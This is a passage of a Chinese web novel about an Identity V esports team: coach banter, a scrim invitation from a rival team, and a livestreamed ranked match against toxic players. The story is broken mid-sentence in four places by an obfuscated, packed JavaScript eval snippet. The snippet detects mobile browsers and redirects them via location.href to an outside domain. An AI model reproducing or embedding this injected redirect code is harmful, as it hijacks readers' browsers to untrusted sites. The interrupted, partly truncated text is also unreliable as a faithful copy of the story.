沈哲笑得乐开了花，赶忙起身乖巧站好，点头如剥蒜地变成了赛博奸臣：“草我草我，我要草的是我自己。” 看他还算识趣，左尹才收回目光，不咸不淡地哼了一声。 “老子就给你们放几天假，回来一看，脑子全在老头环里泡坏了，”左尹说，“没点自律性，学学人家伪酱，一落空就是在打第五人格。” 沈哲小声嘀咕说：“他还不是在跟我们一起打……” “想当水鬼是吧，”左尹说，“我一下车，第一个就是去看的他，已经排了十几分钟的车了，你们呢，嗯？” 沈哲服了。 小小虚伪，年纪不大，心眼倒不少，等着，回头就给他穿小鞋。 他知道自己百口莫辩，说多错多，现在只能只答不辩，疯狂道歉。 “教练我错了，我们马上就去打排位。” 左尹：“别介，搞得好像我逼你们一样。” 沈哲：“怎么会，我超爱玩第五，一天不玩浑身跟有蚂蚁在爬…不行了，瘾上来了，” 他一副欲罢不能的享受样，焦急地冲计少庭催促，“元虹快走，我们甜蜜双排。” 计少庭：“滚，你段位太低了，排到的全是傻卵。” 沈哲：“狗屁，你不也一直在打比赛吗，能比我高几颗星？” 事实上，不仅是他俩，整个KS成员的段位都将将卡在四五阶上下。 这个夏天全在备战和研发新战术，赛程安排比较紧凑，这赛季几乎就没怎么碰过排位。 “高一分也是高，”计少庭贴脸开大，“高一厘米也是高。” 沈哲：“天杀的你说谁167？” 计少庭：“我指名道姓说‘不死流言’这四个字了吗，狗儿子对号入座高.潮你马呢？” “好了，天天闹闹闹，整个联赛就你们最吵。” 左尹乐笑了，感觉自己像那什么中学班主任一样，忍不住翻了个白眼，说，“毛球他俩呢？” “在下面叫魂，刚还说找不到妖娆花就让棋棋来扭，”计少庭说，“不知道的还以为他们在搞SM。” 左尹：“行李还没弄好吗，明早就走不等人的。” “已经差不多了，就剩点无关紧要的小玩意，实在不行，大不了后面再跑一趟，就四个多小时，不是很远。”沈哲说。 左尹：“行，你们看着办。” 沈哲说干就干，真就坐下来，拿手机打开游戏客户端，数据线在左尹那边， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923442|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫他帮忙递一下，顺口问了句。 “不过话说回来，不是说教练群里有事吗，怎么这个时候回来了？” 他问得很巧，刚好这时左尹手机震动了一下，又有微信消息发来了。 “还能什么事，无非就挂牌谈价格，顺便约个日子打训练赛。” 左尹点开手机，看见一个久不联络的ID亮起红点，头像是个老土得要死的棕黄小山丘。 【ETC山与［备注］：最近有时间吗？】 他一时以为是自己看错了，有些意外地挑起了眉。 【左右：稀客啊，咋的林教，ETC入不敷出，终于要准备卖寐狼了吗？】 【ETC山与［备注］：滚犊子，说正事，KS最近有没有空闲时间？】 “是该和其他战队打一打，保持下手感了，”沈哲邀请计少庭进入队伍，“有约哪些队伍？” 左尹在心里思考着回复，口上答话的速度自然而然慢了下来，隔了一会儿才开口。 “十几支战队教练找过我，好像还有三支民间队，他们说到处去约俱乐部都没人理，问我多少钱能让伪酱去打一局，目前…还没定下来。” 嘴上说着，手上也没停。 【左右：有倒是有，你要干嘛？】 “还有一个月就开赛了，确实该好好利用时间。”计少庭说。 左尹嗯了声，就见对话框又弹出一条绿色消息。 【ETC山与［备注］：你看什么时候方便，约个日子打训练赛。】 他被林屿的趾高气扬给惊到了，不禁笑道：“特么的，这是求人的态度吗？” 沈哲和计少庭原本在清游戏内巨量的红点，听见这话，都把目光投了过来。 “怎么了？” 嘴上这么说，左尹还是客客气气给林屿发去一句。 【左右：没想到有一天还能被ETC主动约练，荣幸荣幸。】 发完，他对上两人的视线，解释说：“ETC教练也来约了。” 这次夺冠，各战队都知道KS是抢手的热门，尤其是虚伪在比赛上展现出来的压制力，无一不想让人队选手提前适应一二，能打出风采顶住压力更好，就算被打崩了，那也是不可多得的经验教训。 一进入休赛期，左尹的各交流平台几乎每天都在被轰炸，教练群里的消息多到爆炸，全是在群里@他的别家教练。 “ETC？”沈哲稍愣，“没人了吗，他们怎么来约我们？” 在他世界观里，ETC还是联赛顶级大魔王，标准五大恶人在各战队横着走，只有别人去约他，哪有他来约别人的份。 就算实在无聊，那也该去找IL或者FK这种长时间和ETC并驾齐驱的强力战队，轮得到KS什么事？ 计少庭是前些年入队的，对赛事老登不是很清楚，手肘顶了顶沈哲，凑过去压低声说：“我们之前匹到的那个末鱼，好像就是ETC的。” 沈哲都快忘了这茬，他一说才想起来。 “是啊，伪酱还专门去问了是不是狗哥在打，他说他不清楚。” 左尹：“咋，你们匹到过寐狼？” 沈哲：“对，不是他的号，但肯定是他，ETC那副屠没这么厉害。” “哪来的副屠，人家上个赛季就转去IL了，”左尹看了眼手机，消息终于来了，“你们被爆杀了？” 【ETC山与［备注］：少在那阴阳怪气，来不来，一句话。】 “我们没认真玩。”计少庭苍白地解释。 左尹：“放你的五香麻辣屁，你们职业人队，一句没认真就能输低阶屠吗？” 他们四个的段位左尹一清二楚，匹到寐狼至多不超过六阶。 这下两人不说话了，霜打的茄子似的互相对望了一眼。 “那怎么说，”沈哲道，“咱们跟他约一把？” 左尹沉吟片刻，目光看向了门外，抬抬下巴，“你去问问伪酱。” 11. 虚伪求佛 联赛屠再菜不会差到哪去，差异体现在打法和风格上，人队一直这么打下来，除去少有的，换主屠的几个战队，早已适应得七七八八。 他们的安排可以往后稍稍，现在主要的关照对象是虚伪。 虽说包括左尹在内的许多人都曾踊跃高呼，心潮澎湃地站起来给赛场上的江柏鼓掌，但他毕竟是新人，拿下了这次决赛不代表完美无缺，从录像回放中复盘得出，其实好些方面仍有更优解。 他缺个棋逢对手。 左尹一直这么觉得。 “问他干嘛，”沈哲说，“他说可以你就约？” 这事向来都是教练团和经理共同决定的，只要合同在手，俱乐部拥有对选手合法处置的一切权力，哪有他说不想打的份。 计少庭不知他今天是吃错了什么药，非要反骨在教练面前秀一下存在感。 本来人家都可能不记得他决赛前锋满球送终了。 果不其然，左尹感到自己的威严受到了挑战，抬起眼来微挑了眉梢。 “他说可以我不约，”他说，“你说可以我就约？” 沈哲：“…我不是这个意思。” 左尹：“哦，那你是想让我把你秒倒地下室的精彩集锦，和伪酱四杀翻盘的比赛回放剪一起，传到大厅里的四台6英寸液晶显示屏里，二十四小时连续不断循环播放？” 沈哲：“…倒也不必这样拉踩。” 左尹：“我不就是把你干过的事再说了一遍么，这就叫拉踩了，敢做不敢当啊？” 沈哲：“……” 算了，他还是感恩戴德地接受这个使命吧。 免得等会直接被吊在基地的旗杆上了。 “行，我去问问他什么想法。” 沈哲起身伸了个懒腰，活动着筋骨走了出去。 他当然知道教练想找人队给江柏当磨刀石的想法，也非常清楚左尹说的“伪酱一句话天上的星星我都摘给你”肯定是讲着玩。 他开口第一句就问毛球在哪儿，明显是约练对象太多，奔着咨询全体战队成员的意见来的。 久不下定论的原因，可能是想约IL，但又没约到。 沈哲是这么猜的。 联赛首屈一指的第一人队，六边形战士乘以四，IL执行力配合度高效得可怕，成队至今，核心成员一个没换，还是当年那个令人闻风丧胆的超明星阵容。 有一个赛季甚至达到了只要能留下IL一个，不被四跑，那这个屠就是合格的程度。 尤其是IL.Anwar（安华），最早和ETC.Finsh（末鱼），KS.Hairball（毛球）三人，有一个屠皇检测机的并称。 现在这三人仍是联赛TO指挥位，哪怕末鱼的成绩因病下滑，大多数人听见这个名字的第一反应，估计还是想起他被IVL官方授予第一位三冠人队选手的荣誉，站在台上春风得意的那天。 哥不在江湖，但江湖总有哥的传说。 说的就是这种人。 不过他现在被骂得那么惨，归根究底，这些荣耀功不可没。 真是成也萧何，败也萧何了。 沈哲思绪乱飞的一小会儿，手机嗡的发出清脆的“叮咚”一声。 “亲爱的主人，小爱同学提醒您，您设置特别关心的主播开播啦，快上线去为他打call吧～” 职业选手的游戏机和自用机都是分开的，沈哲自己设置的特别关心除了末鱼，小希这些关系好的选手，其余的就只有自家队友了。 但末鱼他们在万奇TV，不算D5的官方平台，最近好像因为转播比赛导致侵权的事在闹，以防万一，万奇TV就暂且先把第五人格区的主播限制了。 所以只能是他队友。 沈哲有些好奇地点开手机。 谁，搬家之余还有闲心开直播？ 打开和KS俱乐部签署直播协议的华星直播页面，第五人格分区里面，映入眼帘的是官方夏季总决赛的重播录像，热度有一百多万，稳稳占据着分区榜一。 排在后面的就是一些退役转直播的选手，和到点开播，打排位匹联合的全职们，一眼扫去，全是什么“屠皇训练营”“这游戏到底谁在赢”“不用慌你的枪来了”等等字眼。 而刚才提示他的特别关心——右下角标注着红心的一个直播间，正以后起之秀的势头，不断攀升着排名。 两分钟不到，热度上涨至七十多万，冲到了第三。 【游戏，我只玩（）（）（）（）。——HX丶一只虚伪吖】 江柏房间在二楼偏庭院的位置，白天采光很好，夜里静悄悄的，盛夏里有时会飞来几只不知名小虫，一不留神就爬到手上，毒性大的还可能引起痱热。 他关了纱窗回来，由于打开了摄像头，才一小会儿不见人，电脑屏幕就被激动的粉丝刷爆了。 【求求了，主播别死［哭］［哭］。】 【恭喜KS夺冠，恭喜伪酱FMVP！［牛］［啤酒］】 【椅子为什么不说话，就因为没长嘴吗？】 【答应我，下次别再偷偷去码头整薯条了。】 【同意捐献。】 弹幕框里的言论一秒二十多条飞速滚动着，江柏刚来才五分钟，星友们刷的银河总价值已经超过了五六万。 银河是华星直播能打赏的最高礼物，给主播刷醒目留言的同时，还能召出一片荧蓝色的流星雨效果。 炫彩闪耀的特效一直笼罩在直播间内，这位老板的持续时间到了，又是下一位老板的。 江柏边重新排位，边戴上耳机谢着礼物。 “感谢‘左教的大痔疮’的醒目留言，看了主播的比赛，我的安终于打上二阶了。” 他念到痔疮那就笑了：“恭喜你呀，谢谢老板，老板大气。” 【什么b名字，别脏了我们伪神的嘴。】 【你说得好恶心……】 【大伙都在一阶买房住了，老板怎么偷偷进步？】 【教练正在提刀赶来的路上。】 【确定不是提裤？】 左尹以前当主播，第五圈里出了名的敢说，谁来都能怼上一嘴，和一些大牌哥吵得有来有回。 本来黑子粉丝五五开的，结果做了教练也不收敛，粉丝慢慢的路转黑，现在已经变成路人都爱过来调侃一句的黑红形象，只要cue他就全是抽象人。 不过这些弹幕怎么在公屏上打打闹闹的，江柏没心思去看。 光是大礼物他就谢了五六分钟，更别提一些零零散散的小留言了。 “感谢‘我和对面屠夫双排’的紫薇星，感谢‘不死流言不死遗产机’的醒目留言，伪酱快看身后。” 流畅地把这个ID念完之后，江柏才发现不是高仿，他心领神会地摘下半边耳机侧过脸，笑着说：“冠军奖金分下来了，这么有闲钱？” 弹幕也反应了过来，刷屏的速度刚有缓和，又因为KS的团魂觉醒开始熊熊燃烧。 【什么闲钱，这是勤奋者的嘉奖。】 【不开播还以为掉海里了，原来没死啊。】 【流言快用大钱填满伪酱的口袋。】 【你舅宠他爸。】 “这话说的，没闲钱就不能送你么？” 沈哲还没开口，一个音线明快，一听就像阳光开朗大男孩的声音先一步抢过话题。 单嘉在楼梯口遇到了沈哲，刚好他从外头拿了个快递，一看是买给虚伪的冠军礼物，顺手就给拿过来了。 “来伪酱，”单嘉说，“看我给你买的新耳机帅不帅。” 他把一个外观精美，一看就价值不菲的红白色耳机拿了出来。 江柏挑眉：“这和我头上戴的这个有区别？” 单嘉：“有。” 他说着，按了个按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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走出房间的时候，左尹正好有急事被老板叫出去，他见单嘉勾着沈哲的脖子，不停拍他后背，笑得直不起腰。 而沈哲一副无语至极的表情，白眼都快翻到天上去了。 “咋了，”左尹说，“伪酱不同意？” 单嘉：“他高兴得快死了。” 他们离开后，江柏才慢慢的放下手机。 翕合着乌睫轻抿上唇，尚有稚气的白净脸上显露着几分局促，连带着耳尖都悄悄爬上热度。 他在光影散落的阴影里抬眼转眸，泛着点热的视线落在了恬静的右桌边。 一张保存完好，夹在电脑侧方的亲签卡片。 上面用简洁锋利的字迹题着—— ETC.Wolf。 KS配置电脑刚换新的，此时被弹幕淹没了显示屏，主机风扇嗡嗡直响，几乎转成了直升机。 【卧槽卧槽，要来了吗，两大时代的顶尖战队，21世纪的巅峰对决？】 【公费追星，让他捡到真的了。】 【不会被骗了吧，难道这也是毛球play的一环，不然去问问教练？】 【耳朵一下子就红了，主播别太爱。】 江柏的手揉在耳尖上，半响才说：“哪有，空调坏了而已。” 【对对对，空调是坏的，身体是诚实的，嘴是硬得不行的。】 【我们虚伪公主脸皮还是太薄了，第五人格玩少了导致的。】 【狗哥：一秒让国服屠皇为我红温，真实有效战绩可查。】 【刚来，怎么我家伪酱打着打着排位穿上婚纱了？】 【能不能有点出息，你笑个泡泡茶壶。】 一声震动的嗡声传入耳中，他目光扫过弹幕，镇定地按下准备。 “为什么不让笑，”江柏说，“你申请专利了？” 12. 什么精锐 【？？？】 【大胆，怎么跟爸爸们说话的。】 【狗哥厌世症疑似出现人传人现象。】 【多骂点，要出来了。】 自从进入联赛，江柏真是时时刻刻都能被粉丝的逆天言论刷新三观。 “有病。”他忍不住笑了，自从听到某个消息后，常年挂脸上的笑意都真心了起来。 收拾完心情怕影响状态，干脆一不做二不休，“打排位，关摄像头了。” 【别啊，看不见主播，拉屎都不通畅了。】 【伪神住手，我看IVL就是为了你这张脸。［哭］】 【我已经把猫耳伪酱的图截好了，有需要的私。［阿门］】 【那你开摄像头的意义是？】 江柏：“让你们知道我还活着，满意了没。” 怎么，他是泻药成精，一开播就能助人理通肠胃？ 说罢，不顾弹幕呼天抢地，抬手熄灭了摄像头。 看见满屏的【不！！！】和【该死的你毁了虚伪】，江柏以前可能会信以为真，但现在他只想呵呵。 “主播是技术主播，不是颜值主播，”江柏笑说，“想看脸的去关注毛球微博，他天天发自拍，一次性看个够。” 单嘉拍个彩虹就满社交平台到处转的病情持续不是一天两天了，他碰瓷余简生的那张结算图，这几天江柏已经在贴吧微博和论坛里看见了不下四次，人末鱼老师就算有鳞片都被他蹭光滑了。 这也不怪他，问就是平时单嘉叫他们点赞，全跟死人一样没动静，就那次齐心协力了一回，可不得到处炫耀么？ 提起这个社交恐怖分子，弹幕无一例外全是受够了的语气。 【我才不要去看腿毛。】 【主播是懂如何恩将仇报的。】 【那毛好像还是金色的。】 【救命，谁能来管管毛球。】 如果单嘉本人在这，他可能会无能狂怒，大吼：那不是腿毛是头发，是粗一点的头发！基因决定一切，生下来就发丝粗也是他的错吗？！ 可惜现在是虚伪坐镇。 他人如其名，得心应手地挤兑了自家队长，漫不经心地瞥眸，“知道怕了就好。” 【6。】 【伪神超绝bking线条。】 【看好了，队长是这么用的。】 说是以防影响排位，结果谈着谈着仍是聊着去了，江柏忘了禁用角色，这局是一个七阶空BAN。 “都怪弹幕，”他说，“给我道歉。” 【又不寸。】 【我的我的。】 【你懂什么，这是战术，BAN掉空气，让对面求生窒息而死。】 江柏还未选角，就听隔壁传来一声撕心裂肺的尖叫。 “我靠虚伪，老子才第二把，怎么就匹到你了？！” 原来是计少庭。 沈哲的自用机挂着江柏的直播间当背景音，游戏机和他在双排，用的都不是自己的号。 刚开始看对面久久不BAN还觉得占便宜了，直到直播间里传出那句道歉，对面屠也同步忘记了禁人时，计少庭才意识到大事不妙。 世界是很小的，屠夫是职业的。 计少庭立刻想倒头就睡。 他这一嗓子扯得震天响，弹幕听见后纷纷乐了起来。 【汗流浃背了吧，元虹桑。】 【这叫声真蚌埠住了。】 【队友的分？拿来吧你。】 【快去请毛球老祖。】 “元虹？”江柏真是受不了基地每天都在尖叫，扫了眼对面的ID，都不认识，侧过头去好笑道，“哪个是你，放个地窖？” 计少庭瞄了眼手机上满屏幕刷过的【完辣】，沉默了两秒，起身，从仰姿变成了坐姿。 “认真打，打不过再放。” 二带二真带不动，就看选点如何以及开局撞鬼了。 抓他或者流言还有的打。 江柏也有此意，毕竟是排位，这样明目张胆偏私，确实对剩余两个队友不公平。 他撤回眼来，准备调整天赋，余光瞥过荧幕，却发现弹幕变成了看不懂的样子。 【一上来就是活全家体系。】 【非法卡四黑？】 【真能带吗，胜率发出来大家乐一乐。】 江柏打开赛前公屏，想看看怎么回事，对面一个角色恰到好处地再次发出了那段话。 【秒倒苟饲全家［咒术师］：DD语音密码3756，废物监管都溜不动的换园丁或者击球，进这个房间，你爹带你躺赢。】 唯恐队友错过了不看赛前，他每隔五秒就重发一次，大段发言伴随着ID旁咒术师B级的认知牌一起滚动，密密麻麻的字霸占着公屏。 沈哲看另一个队友换了医生，一下就明白了他们想干什么。 “打医咒的，想拉我们打团。” 原因无他。 D5高阶比想象中的更吃沟通，有时一个天崩的决策失误，若是四黑就能避免，从而创造出一个完全不同的局势。 通俗点来说就是，强度太高，不削能玩？ 到了七阶以上，四排就被官方全面禁止了。 这个段位的玩家对游戏有着顶级理解，主要现在被开发出了很多逆天体系，大部分屠榜前排深受其害——打得好的车队实在是太恶心了。 顶尖人类的四黑舞台只有一个合法之地，那就是IVL职业联赛。 不用弹幕提醒，江柏看得出来，这俩人想非法卡四黑，打团上分。 由于D5的排位机制是按输赢以及局内得分来计算的，就算一败涂地，只要分数够高，扣的分也不多。 这种打法就是围绕这个机制来的，选个道具无限续杯的角色，局内不修机四个人围着屠方打团，刷够了分被四杀都掉不了多少，更何况大多数时候，打着打着，电机就会够的。 这也就是为什么总有人说，这游戏人类输了有时也会很开心。 但屠方赢了都可能巨难受。 计少庭显然不需要用这种手段冲榜，他一向直性子，看见那人在公屏里一直发，就在输入框里说了一句。 【菜就夕夕练［勘探员］：开局正常修机，溜够了能赢。】 【秒倒苟饲全家［咒术师］：？】 【秒倒苟饲全家［咒术师］：不是哥们，你能溜够啊？选个解擦小能手不会开局十秒速溶了吧？】 【菜就夕夕练［勘探员］：我溜不动你来。】 【饭就小丿做［机械师］：真打不过，输就输了，都赶排位车，别拖时间。】 【秒倒苟饲全家［咒术师］：输就输你来打排位？菜就算了，还搞人心态。】 【饭就小丿做［机械师］：谁搞心态，好好打把游戏不行么？】 【菜就夕夕练［勘探员］：来看下战绩，你打排位只赢不输？】 【秒倒苟饲全家［咒术师］：不是，你俩一伙的吧，一个旧版本废物，一个裹小脑甚狗，连牌子都没有，搁这叫你马呢？来你能溜够给你爹看，来。】 【鞭尸没母［医生］：不进拉倒，谁稀罕当你爹妈。】 发话的医生有着不低的认知分，估计和沈哲计少庭一样，都是双排队友。 屠方赛前是说不了话的，直播间弹幕几乎全是KS粉丝，看见沈哲他们为江柏说话，更是气不打一处来。 【七阶多一点就二十多胜率，一路玩这种脏套路刷上来的吧？】 【无脑双弹飞轮还骂别人废物？】 【ID正确。】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923444|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排位不如意别打行不行，非得在这恶心屠夫恶心队友。】 虽说沈哲和计少庭看上去语气挺冲，但江柏明白他俩压根没来气，不然早举报申诉一条龙了，只是有点无奈，像在劝说什么似的试图跟人讲道理。 第五人格环境恶劣，人屠玩家阵营之间的矛盾长久且严重，嘲讽开地图炮是常有的事，说不了一两句就会上升到整个群体。 事实还真是这样。 计少庭看那人还在公屏上不停输出，懒得理了，抬眼看了眼沈哲，好笑道，“你觉得他俩打团，能拖伪酱几台机？” 他和沈哲肯定不会去凑这个热闹的，一来要有人修机，二来太浪费时间，好不容易打完一局反被四杀不说，一把的功夫够他们上三四把分了。 沈哲：“两台顶天了，再会打还能比小希加阿部恶心？” 这两流氓才是在QR打团打出名了的，无论哪个联赛屠，遇到他俩合体都头疼得要命，好些打法也是由他们开发，在比赛上打出风采后，逐渐被大家学去了的。 总决赛江柏已经见识过QR的套路，不至于会虚二手货。 他不提还好，一提计少庭更感绝望，本就不强的战意雪上加霜。 “算了，我换囚徒，咱俩把地窖修出来，看能不能走一个。” 他的角色从勘探换成了囚徒，倒计时结束，四人同时强制准备，并被系统锁定了天赋。 那人看他们非但不配合，反倒选俩个白板修机位来速刷，一气之下，又开始在公屏上进行人身辱骂。 【秒倒苟饲全家［咒术师］：两个贱货，打得菜还有理了，选无脑杂种出来给对面送人头是吧，求求没母东西别打游戏了，找个孤儿院上学去吧。】 说实在，江柏进KS前冲个人排位那段时间，段位高了，或多或少都会遇见几个这种人。 每个游戏壮大后，似乎都逃不掉发展出这么个群体的命运，靠着较高的技术到处没素质，赢他们一局像犯了天条似的，全家上下都要被连坐辱骂。 但怎么说呢，D5的屠方群体之所以大多都情绪稳定，就是因为游戏内能高血压的事情比游戏外多太多，诸如此类的一般物理攻击已经破不了防了。 本人不在乎，弹幕反倒先急了。 【乐，玩个手法角色还优越起来了。】 【狗屎名字立体防御，我恶心屠夫可以，屠夫鞭我就是不行。】 【离开咒术就上不了分的连体婴儿，这医生死装什么？】 【我是动物园员工，这就是猴。】 江柏最终选了邦邦。 这个角色是双刀守尸屠，不仅能灵活应对打架，技能命中也会给予僵直，可以有效地防止人类强摸保活，缺点是腿短和极吃熟练度。 他调好天赋，等待对面区选时才扫了眼弹幕，谁知直播间里的激词不仅没缓和，反而越演越烈，整个环境乌烟瘴气，大片难听的脏话让三个房管都不太禁得过来。 一想到自己排位也可能遇到这种鸟人，弹幕有一个算一个全在抵触，滔天的怒火与骂名全部倾泻到这两人身上，反应尤为激烈。 “还吵？再吵我不打了，你们打。” 这么点小事，他们还骂起劲了。 江柏平静的声线放出，礼貌性的少许笑意已没达眼底，配着那张温和代名词的脸和可爱代名词的杏眼有些违和，看上去就像是汤圆精快要发飙。 此言一出，铺天盖地的谩骂总算停顿少许，字幕海由密转疏，渐渐消停下去。 屏幕上出现了短暂的空屏后，话锋一转，开始陆续接上些【主播别生气】和【你吼辣么大声干什么】等字句。 等到氛围温和了一些后，主播才开口说话。 “有什么好闹，”这算什么，江柏挂都遇过，“我打的就是四黑。” 13. 有点讨厌飞轮了 地图月亮河公园，沈哲一上来就被抢了位置。 咒术秒选了鬼屋并锁定，医生则光速在起点站安家。 留下沈哲和计少庭两修机位在人皇桥狮子笼等点位来回辗转，偌大的地图无从下手。 “他俩选这么远又没位移技能，待会儿要救人怎么办？” 沈哲点下申请，想和咒术换个区选，要了两遍对方都不同意，眼看时间即将告罄，只得随手选在了人皇桥，预备着开局丢了娃就往二站台冲。 这样一来，起点站的半场就有了三个人，屠方再去一抓，人赶人挤得爆炸，很大可能一个屠追两三个人，全在跑图修不了机。 “我选终点给你连电，”计少庭说，“你开局躲起来，别被他找到就行。” 随着囚徒区选落定，四名求生的位置陆续锁定，轮到屠方选点。 在锁定自己的刷点区域之前，界面只会显示人方选中的四个区域，屠方没法把角色和区域一一对应起来，选区只能靠猜，猜好追的角色会选在哪里。 前期要抢节奏，机械和囚徒修得都很快，能赌中他俩最好。 监管者选择鬼屋旁。 区选锁定的一瞬，四名求生的角色依次浮现。 “鬼屋怎么是咒术？”江柏有些意外。 两软柿子队友一个没赌到，全离他十万八千里远。 考虑到是大地图，这把辅助技能带了移形。 虽说邦邦是传统走地机，但他手里有技能，不怕医生坐车，起点站也不是不能追。 各有利弊的情况下，就近原则秒了。 当然，比起首追谁这种比较随缘的问题，江柏还有一个更在意的点——这么个倒反天罡的区选是怎么定下来的？ 稍微打过点区选，没瞎的都能看出来。 沈哲他们被抢点了。 【什么奇怪选点。】 【玩OB位抢鬼屋？】 【流言位置好差。】 【为什么咒术不能选？】 “因为机械要选，”江柏看了眼弹幕，“就这么简单。” 这种建筑俗称无敌点，一般都是留给队里的脆皮弱势角色保命用，就算开局被首追也能依靠地形拖点时间，不至于秒倒崩盘。 而修机位大多没什么自保能力，修得快又好抓，在屠夫眼里就是美味的香馍馍，诱惑力相当之强。 那咒术把鬼屋一占，沈哲为全局考虑选在人皇桥大空地，但凡江柏刚才赌对，这把十有八九就奔着多抓去了。 他常规思路，以为鬼屋里是机械和囚徒中的一个，结果两人都在比较危险的地方，相反，队里最能打的却是最安全的。 也许被反心理了。 确实有这个可能，弹幕也讨论得热火朝天。 【人类预判了屠夫的预判。】 【这么选要能溜得起来。】 【太赌了，伪酱不吃这套咋办？】 【选终点就起飞了。】 区选揭示后，各个区域决定出生点，谁在哪儿全场五人都清清楚楚。 只不过在撞鬼之前，人类是不知道敌方角色的。 这其实是打了一种信息差，因为邦邦抓咒术不难，甚至算克制，在不知道己方角色的前提下，敌方的防备心一般不会太高。 进入游戏，监管刷在桥上，转头去了鬼屋。 这一把屋内刷了机子，刚穿过门，江柏就听楼上一声爆点，耳机里传来些许微乎其微的呼吸声。 咒术跳窗了。 他没跟着追，而是原路返回，从鬼屋外反绕过去。 意料之外的，在二站站台旁小撞了一波脸。 两人照面时都较为惊异。 江柏先入为主，把他当成技术顶尖的民间高手来看待，有些没想到能反绕成功。 而咒术则是心跳很大，却一直不见屠夫身影，走位时全在看身后和左右，完全没注意到迎面而来的红光。 开局二十多秒飞轮没好，他光速吃了一刀，带着半血冲进鬼屋。 擦刀的时间里，直播间跟过年了一样。 【飞轮没机会用咯～】 【［崇拜］菜逼［崇拜］】 【这不防反绕？】 【完了，怎么办，要饲全家了。】 “第一刀拿好快。” 正所谓几家欢喜几家愁，有人开心就有人忧，沈哲点开左上看了眼投降时间，顺手发了句破译进度1%的消息出去。 他把娃娃丢在人皇桥，刚走到二站摸上机子，一层修机减速的debuff就伴着五秒雷从天而降。 为了保健康状态，沈哲只得撒手，在电机旁看了眼娃娃，挂了五秒钟的机。 江柏看二站在修，秉承着祖传来都来了的精神，丢了个雷控一下场，跟着咒术上了二楼。 技能CD还有几秒就转好，趁咒术翻窗，二连雷炸了个交互，没跟着翻，交出移形下了楼。 只听一声闷隆响起，咒术人还在空中，眼已经看见邦邦到了落点守株待兔。 他几乎是本能地狂按技能，却在落地那一瞬刚好晕住了出刀的屠夫，随着技能开阶的洪钟声铿锵落地，翻窗过劳的咒术迎头栽在了地上。 一看还有地下室，疯狂刷屏的弹幕更加来劲了。 【好美的解擦。】 【取这么个狗屎名字，原来是自我介绍。】 【我找到了，对面这两个也是主播。】 【给我鞭他！】 挂人的空隙里，江柏的目光才从对局里转移到电脑上，敏锐地从上百条字句里看见了那句主播的言论。 “一把排位而已，别去骂。”他管理粉丝还算比较严的，本能提醒了声，重新垂下眸去。 不同于那边的欢呼雀跃，这边全然透着一股岁月静好般的淡淡死意。 “我不救人。”计少庭爱死了手上的半台机。 这局不摆浑身难受，开局天崩，对面还是虚伪，要不是有时间限制，沈哲现在就想左上右下。 “你那台多少了，卖了应该能有三台。” 前提是江柏不杀出来。 “七八十的样子，加上医生那台够了。”计少庭说。 沈哲点头，刚要开口，一转眼，就见原本在起点站的医生不知何时到了他身边，摸了把电机，然后在身边疯狂地做动作疑惑不解。 “医生在我这里，她好像要救人。” 沈哲职业病随口报点，那医生见他不理自己，又开始和沈哲合修，没修两三秒，砰的一声炸了机。 炸完之后又不修了，切换蹲起不停抽搐，在沈哲四周蹭来蹭去。 最开始沈哲莫名其妙，以为是不小心，但这医生如此反复了好几次后，再傻他也明白了。 “哦，”沈哲有点懂了，哭笑不得，“你赖我不救人是吧？” 计少庭：“什么，怎么了？” 沈哲：“他双排秒倒，医生故意炸我电机， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923445|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计是生气了。” 计少庭停顿片刻，没抬眼。 “神经病，别管他。” 场上两个地方都在频繁爆点，但机械师的娃娃只有一个。 等到咒术一挂飞天，电机也开完了两台，时间来到两分多钟，二站的电机被干扰过还没开，江柏打算去处理一下娃娃，出地下室到了二站台，却发现在这修的是医生。 开局在这的是沈哲，人要挂飞了，机械提前转点没什么问题。 江柏没想太多，自动进入了追击模式。 由于人方没给压力，邦邦手上的连雷是满的，医生被逼在两块短板中间，十秒内吃了一个雷。 他拍完板，站在后面边治愈边做不解，摆明了就是挑衅，等到邦邦踩板后才转点。 但此时已经是大空地，三连雷无处可躲，吃了炸后秒接上一刀，连庄园老友的加速红利都没吃到，被三雷一刀秒在了原地。 要不是网络约束，粉丝们估计连横幅都能拉出来。 【伪酱牛逼！】 【爆杀混子，朕心甚悦，赏。】 【好爽，翻白眼了。】 医生被挂上椅子。 